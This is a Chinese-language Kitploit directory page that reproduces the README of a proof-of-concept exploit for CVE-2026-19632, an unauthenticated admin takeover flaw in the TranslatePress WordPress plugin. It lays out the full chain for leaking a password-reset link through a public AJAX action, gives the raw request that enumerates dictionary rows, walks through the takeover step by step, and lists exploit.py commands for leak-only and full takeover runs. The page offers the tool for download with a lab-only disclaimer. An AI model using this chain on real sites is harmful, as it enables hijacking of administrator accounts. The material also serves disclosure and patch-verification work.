Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-19632 — 针对 CVE-2026-19632 的一日概念验证漏洞利用,该漏洞是 TranslatePress WordPress 插件中一个严重的未认证账户接管漏洞,演示了密码重置链接泄露和管理员账户接管。 | Kitploit
工具/GitHubGitHub/yonliud/cve-2026-19632
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubyonliud/cve-2026-19632

CVE-2026-19632

针对 CVE-2026-19632 的一日概念验证漏洞利用,该漏洞是 TranslatePress WordPress 插件中一个严重的未认证账户接管漏洞,演示了密码重置链接泄露和管理员账户接管。

查看仓库
11天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

TranslatePress 密码重置链接泄露导致管理员账户接管

CVE: CVE-2026-19632 | CVSS: 9.8(严重)

通过 WordPress 的 TranslatePress 插件实现未认证账户接管。 从 CVE 发布到可用的 Day-One PoC 所用时间:5 小时 9 分 40 秒

影响版本至 3.3.1(含);该问题已在 3.3.2 中修复。

TLDR

TranslatePress 可以翻译 WordPress 外发的电子邮件,并将其翻译后的字符串保存到数据库中。
TranslatePress 还会将包含完整重置链接(含密钥)的密码重置邮件直接保存到翻译表中。

未认证的攻击者随后可以通过一个公开的 TranslatePress AJAX 操作查询这些行:

root@kitploit:~
触发密码重置
        -> 重置邮件被翻译
        -> 重置 URL 被保存到次要语言词典中
        -> 公开的 AJAX 端点返回该行
        -> 使用该 URL 设置新的管理员密码

演示

https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b

漏洞详情

该利用链需要满足以下条件:

  • TranslatePress 3.3.1 或更早版本。
  • 已启用自动字符串保存。
  • 已发布次要语言。
  • 目标用户的 WordPress 个人资料语言设置为该次要语言。
  • 知道目标用户名或电子邮件地址。

当 WordPress 发送重置邮件时,TranslatePress 会切换到收件人的首选语言,并将邮件送入其翻译管道。存在漏洞的版本会保存此过程中遇到的字符串,包括重置 URL。

TranslatePress 还为未认证访客注册了 trp_get_translations_regular。其 nonce 暴露在公开的翻译页面上,且该请求接受攻击者选择的词典行 ID。枚举这些 ID 即可揭示已存储的重置邮件及其可用的重置链接。

利用流程

步骤操作
1加载 /he/cve-lab-seed/ 并提取公开的 TranslatePress AJAX nonce。
2为 labadmin 提交 WordPress 的忘记密码表单。
3TranslatePress 使用管理员的希伯来语语言环境处理重置邮件。
4通过 trp_get_translations_regular 枚举词典行。
5提取最新匹配的 wp-login.php?action=rp 重置 URL。
6打开该 URL 并提交新密码。
7重新登录,需要同时具备 WordPress 登录 Cookie 和 /wp-admin/ 访问权限。

相关的未认证请求格式如下:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded

action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]

nonce 和有用的行 ID 是动态的,因此 exploit.py 会自行发现它们,而非硬编码。

使用方法

最小用法:

root@kitploit:~
python3 .\exploit.py --new-password 'Your-New-Password!'
root@kitploit:~
python3 .\exploit.py \
  --url http://127.0.0.1:19632 \
  --username labadmin \
  --language he_IL \
  --public-path /he/cve-lab-seed/ \
  --start-id 1 \
  --max-id 500 \
  --batch-size 100 \
  --timeout 15 \
  --settle-seconds 1 \
  --stop-after takeover \
  --new-password 'Your-New-Password!'

仅泄露重置 URL 而不修改密码:

root@kitploit:~
python .\exploit.py --stop-after leak

仅触发密码重置邮件:

root@kitploit:~
python .\exploit.py --stop-after reset

参数

参数默认值用途
--urlhttp://127.0.0.1:19632WordPress 基础 URL。
--usernamelabadmin请求重置密码的账户。
--languagehe_ILPoC 查询的次要语言词典。
--public-path/he/cve-lab-seed/用于获取 AJAX nonce 的公开翻译页面。
--new-password无新密码;使用 --stop-after takeover 时必填。
--start-id1请求的第一个词典行 ID。
--max-id500请求的最后一个词典行 ID。若未找到重置 URL,请增大该值。
--batch-size100每次 AJAX 调用请求的词典 ID 数量。有效范围:1-500。
--timeout15HTTP 超时时间(秒)。
--settle-seconds1请求重置邮件后的等待时间。
--stop-aftertakeover在 reset、leak 或完整 takeover 之后停止。

免责声明

本项目仅用于在隔离的实验室环境中进行授权的安全研究、教育和测试。

该漏洞最初由 momopon1415 发现并披露。 未经所有者明确授权,请勿将此软件用于任何系统、网络或数据。您有责任遵守所有适用法律,并对因使用本项目而产生的任何后果承担全部责任。

作者 YonLiud 按“原样”提供本项目,不提供任何形式的担保,并且不对因本软件或其衍生作品造成的损害、数据丢失、服务中断、未经授权的访问或其他滥用行为承担任何责任。

使用本项目即表示您确认并接受上述条件。

下载工具